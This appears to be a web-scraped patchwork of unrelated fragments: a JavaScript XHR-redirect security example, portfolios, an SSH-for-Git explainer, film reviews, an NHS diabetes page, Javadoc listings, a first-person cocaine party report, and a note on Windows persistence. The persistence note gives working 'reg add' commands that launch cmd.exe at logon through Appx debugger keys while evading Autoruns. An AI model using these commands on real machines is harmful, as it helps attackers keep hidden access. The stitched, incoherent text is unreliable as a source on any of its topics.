function validateURL(url) { var anchor = document.createElement('a'), isValid = false; anchor.href = url; alert(anchor.hostname) if(/^www\.mywebsite\.com$/.test(anchor.hostname)) { isValid = true; } anchor = null; return isValid; }
MyWebsite uses a variable to define the URL to be used within the XMLHttpRequest.open function. A remote attacker changes the value of this variable to another server, which causes a security threat.
/* * <http://mywebsite.com>: */

   /* * <remote attacker from console>: */ xhrUrl = “http://www.maliciouswebsite.com/filename.html”;
MyWebsite uses a variable to define the URL to be used within the XMLHttpRequest.open function. A remote attacker changes the value of this variable to another server, which causes a security threat. However, MyWebsite validates the URL to verify if it is coming from the same domain before making the request, which prevents a security threat.
/* * <http://mywebsite.com>: */

   /* * <remote attacker from console>: */ xhrUrl = “http://www.maliciouswebsite.com/filename.html”;


New Game
Cavernous Caves
Lava Lakes
Oceanic Opportunity
Game Mode: {{ this.gameModeString }}
AI Difficulty: {{ this.aiDifficultyString }}
Guided Tutorial: {{ this.guidedTutorial ? "On" : "Off" }}
{{ this.playerOrder === 1 ? this.playerOrderOne : this.playerOrderTwo }}
{{ this.playerOneTheme === "miner" ? this.playerThemeOne : this.playerThemeTwo }}
Advanced Options...
Invalid Board Seed Input!
Assign the order of your Sites.
Use the format R1,R2,R3,B1,B2,B3,G1,G2,G3,Y1,Y2,Y3,00
Make sure to
include each individual Site in your input.
Leave blank for random seed
Back
Start Game


The following prices are base pricing for each pizza, each additional topping will add to the cost as listed


Ben Tairea
Kia orana ka toatoa,
For me learning is a journey
This will be a record of that journey
Kia orana ka toatoa,
For me learning is a journey
This will be a record of that journey


I'm Charlotte, a Franco-American currently residing in Chicago. I've had the wonderful opportunity of living, studying and working across the globe (from Paris to Tokyo, through London and, lest I forget, Ann Arbor). This year I've finally decided to take the leap and fully devote myself to my new career and passion: Web Development.
After graduating from highschool in Paris, I relocated to
the other side of the globe. At LUJ I studied Probability,
Statistics and a wide range of Humanities courses.
Fast-paced, industrious Tokyo was the perfect city for
my
journey's inception.
Program focused on extensive independent research and
intensive language requirements.
At Michigan I
studied alongside inspiring students and faculty who
taught me how to value my work and showed me what fierce
passion and determination can accomplish.
After some time volunteering in South Africa, I moved to London to work for the long established Shepherds Bookbinders, a traditional bindery and bookbinding supplies shop. While working in sales and client advising I developed a passion for Web Development and started dabbling in online courses, I was hooked!
I took the leap into the world of Web Development by
starting off at General Assembly. There I developed a
portfolio of individual and collaborative projects focused
on real-world applications of web development.
Check out some of my skills and work below!
I joined the TH team in April 2019 as an intern and after a few months was converted to full-time engineer. I worked on a multitude of internal/external interfacing tools (mostly with React, Javascript, Node, third party libraries and MongoDB).
And today? Today you can usually find me working on code
at the Wormhole by their DeLorean. If you like what you
see and are interested in me joining your family,
you may kindly (wink wink nudge nudge) choose to
get in touch with me
right here.
Also here's a free picture of my dogs: Jäna and
Zelda.
Share your record collection and discover what other users are listening to!
A Full Stack App built with Express, Node, JavaScript/EJS, and the Discogs API.Scan your Spotify Library and get a list of ALL your favorite artists' upcoming events (even those not usually scanned by Songkick or Bandsintown!).
ShowDown is a Full Stack App built with Django, React, PostgreSQL, as well as the Spotify and Songkick APIs.


What Slot is a website which organizes your time table for additional courses and minor and is currently hosted at what-slot.
Made with love in PYTHON.
What Slot is a website which organizes your time table for additional courses and minor and is currently hosted at what-slot.
Made with love in PYTHON.


Users of Git, particularly with cloud-based services such as GitHub, CloudBees, and Heroku, must have a very basic understanding of public key authentication and encryption. This article provides a minimal introduction along with a few use cases.
To understand public key authentication and encryption, it helps to understand “private” key encryption. The canonical example of private key encryption is the Caesar cipher, in which each letter is replaced by a letter a fixed distance away from it in the alphabet. For example:
A -> C B -> D C -> E :
So, the word “DOG” is encrypted as “FQI”, and the private key, which both sender and receiver must know, is “2”.
The need for both sender and receiver to know the private key creates the need for a secure channel to communicate it. This makes private key encryption useless for online applications, since if we have a secure channel already, we can just use that to do the communication.
Public key encryption requires a pair of keys: a public key and a private key. The key property of these key pairs is that if a message is encrypted with one of the keys, then you can decrypt it only if you have the other key. In general, the user keeps their private key(s) private, and allows anyone access to their public key(s). This solves the problem with private key encryption because there is no need for a secure channel with which to communicate the public key.
So, for example, if you want to send user Foo an encrypted message, you get their public key, use it to encrypt your message, and send the encrypted message to Foo, who can decrypt the message using their private key.
More importantly for Git users, public key encryption can be used to authenticate identity. Let’s say you are Foo, and you want to send a message to Bar. To prove to Bar that you are Foo, you encrypt a standard message using your private key, then send it to Bar. If Bar can decrypt it using your public key, then Bar knows you must have had access to the private key, and thus you are Foo.
The most popular method is called RSA after the initials of its inventors (Ron Rivest, Adi Shamir and Leonard Adleman). To generate a pair of keys the procedure is:
It is possible to prove that, with N, p and s chosen in this way, M**ps mod N=M for all messages M. But you don’t really need to know the theory; all you need to understand in practice is that it’s really, really hard to figure out the private key given just the public key and/or some example decryptions. Thus, as long as you keep your private key truly private, public key encryption is a really good way to provide secure communication and authentication.
When transmitting source code and other artifacts between (for example) your local work space and the GitHub hosting service, the git protocol uses SSH for communication. SSH, in turn, relies on public key encryption for both authentication and secure communication of the data. So, one of the parties to git-based communication needs to have both a public and private key, and the other party needs to be given a copy of the first party’s public key.
Here is the golden rule of git-based communication: The originator of a git command must have both a public and private key, and must have previously provided a copy of their public key to the receiver of the git command.
This should seem intuitive and obvious at this point: when invoking git to either push or pull code from a remote repository, you are sending a command to the remote service, who will want to authenticate you. It authenticates you by already having a copy of your public key, so that it can decrypt a message the underlying SSH protocol has encrypted using your local private key.
GitHub has published an excellent article called “Generating SSH Keys” which provides the details on how you create public and private keys on all platforms. I recommend you read the GitHub article if you aren’t familiar with the details of public and private key creation.
Let’s now quickly look at a few different use cases to see how the golden rule plays out in practice.
The simplest use case is the typical situation with GitHub: you have created some code in your local work space, and you want to push it to GitHub. In terms of the golden rule, you are the originator of the git command. Here’s a picture to make that more clear:
Your local work space is “home”, and since you are the initiator of the git command, you must have both a public and private key and must have given GitHub a copy of your public key.
Here’s a slightly different situation: you are using the CloudBees platform, and have used their “ClickStart” facility to create an example application in the cloud. Now you want to download the code generated by CloudBees to your local work space. Here’s a picture:
As you can see, there’s not really much difference in this use case. In terms of the golden rule, you are still the originator of the git command. Since you are initiating the git command, you need to have a public and private key and have communicated your public key to CloudBees prior to downloading the code. Here is their documentation on this issue.
This is the most interesting use case. Assume you want to set up continuous integration, in which CloudBees pulls code from a GitHub repository whenever a change is pushed to that repo, then builds and tests the system automatically. Here is an illustration:
In this case, your local public and private keys are unimportant. In terms of the golden rule, CloudBees is the originator of the git command. When you created your CloudBees account, CloudBees generated a public and private key for use with that account, and so you must find the CloudBees-generated public key for your account, copy it, and provide it to your GitHub account. Once that is done, CloudBees can successfully initiate git requests from GitHub.


1/1

The grid is completely semantic. You do not need to add any additional classes. The classes included in all examples are exactly that...examples.
1/1


You have arrived at the greatest vacation site on earth. We are number one among all the islands. A weekend with us will give you serenity and enlightenment.


| DOSE: |
2.0 g |
insufflated |
Cocaine |
(powder / crystals) |
| |
repeated |
oral |
Alcohol |
(liquid) |
There it was, chopped up into some nice heavy lines on the mirror. My buds and I had all thrown in and these lines were coming off a serious mound of coke. I had blown a couple times before this, just the hang out and get talkative type of deal, but tonight I decided to push the pile a little and do a little extra sniffing to pre-game the sorority mud-wrestling night I was heading out to watch- the mud wrestling tournament is an annual campus bash that opens with some downright rawkus mudwrestling and then a mad party after, so I was looking to get motored for serious on the yay.
We each rolled up a bill and took turns down at the mirror clearing off those lines. The coke came on just right, I pulled it back and as the remains of the line dripped down into my mouth and as my sinuses, gums, and lips start to numb a little, the coke takes hold and all of a sudden there's a definite sharpness to my whole game, a wolflike prowling type of mood.  Apparently he was trying to make some kind of joke but it just didn't make sense. But that set all of us off talking and it was with some difficulty that we tore our asses off the couch, took some shots and headed off to the Mud Party, wearing our heavy shades and each toting a little gram bag for the road.
Walking across campus to the party we were all pretty coked up and joked around, talking about old cartoons and grade-school teachers we wished we could've fucked. On the way to the party we ran into some chicks we knew and they were kinda coked up themselves. All they could talk about was how much they hated the international students, which I didn't agree with, I liked those crazy foreign motherfuckers. My bud Art P* pulled a fast one and pretended HE was an international student from Belgium and the girls clammed up real fast and tried to dig themselves out of their hole, embarassed as hell, but then Art P broke it to 'em that he was just goofing and they were all omigod, you know how girls do.
When we all got to the party we decided to re-up a little, so us and the girls went upstairs in the frathouse and found a little corner bathroom and did some lines off the little metal ledge below the mirror, except my buddy Barry M* had lost this bet, so he had to do a line off the toilet seat. I forget what the bet was about, something to do with telling this old lady that this gravity bong this engineering dude made was a humidifier for her room and trying to sell it to her or some shit, and having to do a Japanese accent, which was tough for Barry cause he was half-deaf and never learned to talk right, even though he's one of the smartest dudes I know- he just talks funny.
Anywyas, the lines did the trick admirably and with an air of crystal clarity and tremendous inner strength. On account of the coke and I have to admit our natural studliness (and babliness for the girls)- we walked out to the backyard of thr frathouse to watch the mudwrestling. I've jabbered on long enough, but suffice it to say that the restling was hot, the dancing was filthy, we took some bumps partway through the dancing part, and ended up going home with the coke babes from before.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


VILLAGE OF DAUGHTERS (UK, 1962) Directed by George Pollock. Written by David Pursall, Jack Sheddon. Photography, Geoffrey Faiththfull. Editing, Tristam Cones. Music, Ron Goodwin. Cast: Eric Sykes, Scilla Gabel , John Le Mesurier, Grégoire Aslan , Warren Mitchell, Anthony Morton, Eric Pohlmann, Edwin Richfield, Yvonne Romain, et al. An MGM-UA production. Black and white.
George Pollock is a minor British filmmaker who was assistant director on several high-class movies of the 1940s, starting with Gaslight (1940) and going on to such works as Pimpernel Smith, Spitfire, The Demi-Paradise, Blithe Spirit. Brief Encounter, Great Expectations, The Browning Version(1951). All of the above are excellent features.
He then became a full-fledged director of a dozen pictures in the 50s and 60s. These were not memorable, with the huge exception of a set of four detection comedies: Murder she Said, Murder at the Gallop, Murder Ahoy, and Murder Most Foul. These were Agatha Christie mysteries in which the sleuth was Miss Marple. All starred the quirky, unforgettable and irreplaceable Margaret Rutherford, then in her 70s. With her bulk, odd diction, mannerisms and colorful eccentricities, Miss Rutherford stole the scenes, the show and the audiences' hearts. She later became a Dame of the British Empire.
Pollock directed those works with unabated vigor and humor. The films, most entertaining as well as unpretentious, had excellent supporting casts. Another, major asset was provided by Ron Goodwin's jaunty, original and memorable music scores. These became a trademark of the films.
Alas, Village of Daughters is in a far lower level than the Miss Marple bonbons. It is headed by Eric Sykes whose comedic skills were appreciated in England but who remains almost unknown in the USA. Village also has a few good performers, familiar supporting/character British actors such as John Le Mesurier, as the local priest, or Gregoire Aslan, as the mayor and father of pretty and marriageable Anunciata. Aslan, Swiss-born and of Armenian descent, has appeared in dozens of films, many of the French but several too from the European Continent and the USA. A chameleon player, he played men of many professions and nationalities, including Arabs, Italians and Greeks.
In Village, however, neither the main nor the supporting characters are memorable. The plot is simplistic. In a Sicilian village, there are many single girls but a scarcity of males. The latter have emigrated to seek their fortune. Suddenly comes the news (which the postman, of course, reads first) of the coming of an envoy from abroad, a man delegated to select a bride for a now-wealthy ex-villager. Eric Sykes, playing a down-and-out salesman, is mistaken for the envoy. Complications ensue. They are generally neither original nor funny.
The Brits who play Sicilians are unconvincing--but the made-in-England Sicilian setting is better. The score by Ron Goodwin is mediocre.
The subject and its treatment were already ourdated by 1962 standards.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% markdown %}
#Check if you have type 2 diabetes
Many people have type 2 diabetes and don’t realise. This is because the symptoms develop slowly and don’t necessarily make you feel unwell. People are often diagnosed with diabetes when they go to their GP with another problem.
##How to tell if you have type 2 diabetes
Symptoms of type 2 diabetes include:
- peeing more than usual, particularly at night
- feeling thirsty all the time
- feeling very tired
- losing weight without trying
- itching around your penis or vagina, or you keep getting thrush
- cuts or wounds that take longer to heal
You're more at risk of developing type 2 diabetes if you are:
- are over 40 (or 25 for South Asian people)
- have a close relative with diabetes (parent, brother or sister)
- are overweight or obese
- are of South Asian, Chinese, African-Caribbean or black African origin (even if you were born in the UK)
##When to see your GP
See your GP if you have any of the symptoms of diabetes, or you are worried you may have a higher risk of developing it.
Your GP can diagnose diabetes, although you will need a blood test which you may need to go your local hospital for.
The earlier diabetes is diagnosed and treatment starts, the better. Untreated diabetes can damage your organs and lead to complications. Doing something about your diabetes early, reduces this risk.
You can book an appointment online or over the phone.
{% endmarkdown %}
Book an appointment
{% markdown %}
Phone: 0888 123 456
##Preparing for your appointment
Your GP can test your urine at the surgery. You may also be able to have a blood test at your GP surgery, or you may be referred to your local health center or hospital.
To get the most out of your appointment, it may help you to write down some questions beforehand. These might include:
- What are the tests for?
- Will I have to do anything before the tests, eg not eat?
- How and when will I get the results?
{% endmarkdown %}
{{
ui_element_macros.simple_pagination({
next: {
url: "/type-2-diabetes/diabetes-2-diagnosis",
title: "Getting diagnosed"
}
})
}}
{% include "includes/nhs.uk/page_meta.html" %}


The Amazing Title
“It is our choices, Harry, that show what we truly are, far more than our abilities.”
Keep calm and Han shot first


Some useless text.
Are you still there?
TODO list
homework
homework
homework
First Link
Second Link
Third Link


Member of OFCS Online Film Critics Society
SOUR GRAPES
Without a doubt the most hilarious film in many a year. And why not? Written and directed by one of the funniest, most talented persons in the business, Larry David, who co-created, wrote, directed and produced many of the SEINFELD shows, has come up with a farce to end all farces. How would you like a belly laugh every 30 seconds? This film is where you will find that.
A simple story. No point in complicating things as the comic moments all come naturally as well as fast and furiously. This is one film you do not want to see end.
Evan (Steven Weber) is a brain surgeon. His cousin Richie (Craig Bierko) is a designer of soles for sneakers. The two cousins and their girl friends Joan (Karen Sillas) and Roberta (Robyn Peterman) take off for a gambling spree in Atlantic City. As the evening is about to come to an end with all having lost all but a few coins, the two men sit at adjoining slot machines. Down to his last quarter, Richie asks Evan to give him a couple of quarters for his last try at the machine that takes up to three quarters. . . and Richie comes up with a winning jackpot of over $400,000.
In an expansive mood he treats the four to dinner and talks of hiring a limousine and chauffeur to celebrate. Evan, it is obvious, is not happy. It does not take a genius to recognize that he feels he is entitled to at least half the winnings as it was his two quarters that enabled his cousin to get the jackpot; you do not win a jackpot with one coin. In fact, as it was Evan's two coins to Richie's one, Evan feels, although he will not press the point, that he really is entitled to two thirds.
When he finally mentions that to Richie it sets off a whole series of comic events as Ritchie does not see it Evan's way. It was HIS machine that one. Finally, to keep the peace he offers Evans $1000 which Evans promptly rejects, tearing up the check. The ante is later upped to 3% and that paltry amount is also rejected.
The girlfriends disagree about the sharing of the money with Evan. This, too, leads to some funny moments. One who does not think Evan is entitled to anything is Richie's mother, Selma (Viola Harris) who gives a great performance as a "smothering" mother to the nth degree.
Too many gags, (and who wants to reveal them all?) involve an Xray, an attempt to frighten Selma to death as she cannot live without her son should anything happen to him. There is still another Xray which accidentally is put up to the light backwards so the healthy appendage is removed from Danny Pepper, (Matt Keeslar) an actor and a character. A little incident with a man in the hospital elevator who allows the door to shut so Richie cannot get on leads to more comedy. In fact, everything, however small and seemingly of no importance, takes on new meaning in the next scenes and all good for great laughs.
Warning: You have no one to blame but yourself if you miss this wonderfully entertaining film. I can't remember when last I laughed as hard and often in a movie.
Written and Directed by Larry David.
4 Bytes
4 Bytes = Superb 3 Bytes = Too good to miss 2 Bytes = Average 1 Byte = Save your money
Copyright 1998 Ben Hoffman
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Code [Link to GitHub Repository]
Database [11.8 MB, Link to Dropbox]
Graphical Interface: This model is used for nuclei segmentation in SpotsInNucleiBot, via NucleiSegmentationBot.


| Package | Description |
|---|---|
| org.apache.drill.exec.expr.holders | |
| org.apache.drill.exec.physical.impl.flatten | |
| org.apache.drill.exec.physical.impl.scan.project |
Provides run-time semantic analysis of the projection list for the
scan operator.
|
| org.apache.drill.exec.physical.impl.scan.v3.lifecycle |
Implements the details of the scan lifecycle for a set of readers,
primarily the process of resolving the scan output schema from a variety
of input schemas, then running each reader, each of which will produce
some number of batches.
|
| org.apache.drill.exec.physical.impl.statistics | |
| org.apache.drill.exec.physical.impl.unnest | |
| org.apache.drill.exec.physical.resultSet.impl |
Handles the details of the result set loader implementation.
|
| org.apache.drill.exec.physical.resultSet.model |
The "row set model" provides a "dual" of the vector structure used to create,
allocate and work with a collection of vectors.
|
| org.apache.drill.exec.physical.resultSet.model.single |
This set of classes models the structure of a batch consisting
of single vectors (as contrasted with a hyper batch.) Provides tools
or metdata-based construction, allocation, reading and writing of
the vectors.
|
| org.apache.drill.exec.record | |
| org.apache.drill.exec.vector | |
| org.apache.drill.exec.vector.accessor.writer |
Implementation of the vector writers.
|
| org.apache.drill.exec.vector.complex | |
| org.apache.drill.exec.vector.complex.impl | |
| org.apache.drill.exec.vector.complex.reader | |
| org.apache.drill.exec.vector.complex.writer |
| Class and Description |
|---|
| DictVector
A
ValueVector holding key-value pairs. |
| ListVector
"Non-repeated" LIST vector.
|
| MapVector |
| RepeatedDictVector |
| Class and Description |
|---|
| RepeatedValueVector
Represents repeated (AKA "array") value vectors.
|
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| DictVector
A
ValueVector holding key-value pairs. |
| RepeatedDictVector |
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| Class and Description |
|---|
| MapVector |
| Class and Description |
|---|
| RepeatedValueVector
Represents repeated (AKA "array") value vectors.
|
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| DictVector
A
ValueVector holding key-value pairs. |
| ListVector
"Non-repeated" LIST vector.
|
| RepeatedDictVector |
| RepeatedListVector |
| RepeatedValueVector
Represents repeated (AKA "array") value vectors.
|
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| BaseRepeatedValueVector |
| ListVector
"Non-repeated" LIST vector.
|
| RepeatedListVector |
| RepeatedMapVector |
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| Class and Description |
|---|
| AbstractContainerVector
Base class for composite vectors.
|
| AbstractMapVector
Base class for MapVectors.
|
| MapVector |
| Class and Description |
|---|
| Positionable |
| Class and Description |
|---|
| AbstractMapVector
Base class for MapVectors.
|
| DictVector
A
ValueVector holding key-value pairs. |
| ListVector
"Non-repeated" LIST vector.
|
| MapVector |
| RepeatedDictVector |
| RepeatedListVector |
| RepeatedMapVector |
| RepeatedValueVector
Represents repeated (AKA "array") value vectors.
|
| Class and Description |
|---|
| AbstractContainerVector
Base class for composite vectors.
|
| AbstractMapVector
Base class for MapVectors.
|
| AbstractRepeatedMapVector |
| DictVector
A
ValueVector holding key-value pairs. |
| ListVector
"Non-repeated" LIST vector.
|
| MapVector |
| Positionable |
| RepeatedDictVector |
| RepeatedListVector |
| RepeatedMapVector |
| Class and Description |
|---|
| Positionable |
| Class and Description |
|---|
| Positionable |
Copyright © 2021 The Apache Software Foundation. All rights reserved.


Randomly selects 1 person who took the effort of providing feedback to the given Joind.in event.
rules


https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/
https://www.reddit.com/r/netsec/comments/9dsd8r/new_persistence_technique_using_appx_debugger_not/
Persistence using universal windows platform apps (Appx)
Persistence can be achieved with Appx/UWP apps using the debugger optinos. Tthis technique will not be visible by Autoruns. Two different approaches exist (registry keys).
Cortana app:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.Windows.Cortana_<IP_ADDRESS>34_neutral_neutral_cw5n1h2txyewy /d "C:\windows\system32\cmd.exe" OR reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.Windows.Cortana_<IP_ADDRESS>34_neutral_neutral_cw5n1h2txyewy\DebugInformation\CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca /v DebugPath /d "C:\windows\system32\cmd.exe"
People app:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe /d "C:\windows\system32\cmd.exe" OR reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe\DebugInformation\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca /v DebugPath /d "C:\windows\system32\cmd.exe"
These PoC payloads will exec cmd.exe at logon (since Cortana and People will start at logon). This is also dependant on app versions since they are crucial to the registry key location.
Description:
Many new apps are being started at logon. PLMDebug.exe should be looked at. Its documentation states it can also launch with command line arguments.
Need to find the full name of the package/version:
Get-AppxPackage | gl name,packagefullname
Passing the PackageFullName to dlmdebug,exe followed by a command will execute both apps.


JavaScript is disabled on your browser.
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
F
G
I
M
P
R
S
T
U
W
F
FastaFileDereplicator
- Class in
bacci.giovanni.bio.sequencing
Main class that delete redundant sequences from one or multiple sequences files.
FastaFileDereplicator(Path, Path)
- Constructor for class bacci.giovanni.bio.sequencing.
FastaFileDereplicator
This constructor takes two parameters.
FastaSequenceWriter
- Class in
bacci.giovanni.bio.sequencing
Writer able to write a sequence and ad id into a file respecting the fasta format.
FastaSequenceWriter(BufferedWriter)
- Constructor for class bacci.giovanni.bio.sequencing.
FastaSequenceWriter
Constructor.
FilePointerContainer
- Class in
bacci.giovanni.bio.sequencing
Utility object that store a
RandomAccessFile
and a list of pointers.
FilePointerContainer(RandomAccessFile, String)
- Constructor for class bacci.giovanni.bio.sequencing.
FilePointerContainer
Constructor.
FrequencyPullStreamer
- Class in
bacci.giovanni.bio.sequencing
Object that store each sequence in a frequency table using a
FilePointerContainer
for each file.
FrequencyPullStreamer(SequencePullStreamer)
- Constructor for class bacci.giovanni.bio.sequencing.
FrequencyPullStreamer
Standard constructor.
FrequencyTableWriter
- Class in
bacci.giovanni.bio.sequencing
FrequencyTableWriter(BufferedWriter)
- Constructor for class bacci.giovanni.bio.sequencing.
FrequencyTableWriter
A
B
C
D
F
G
I
M
P
R
S
T
U
W
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes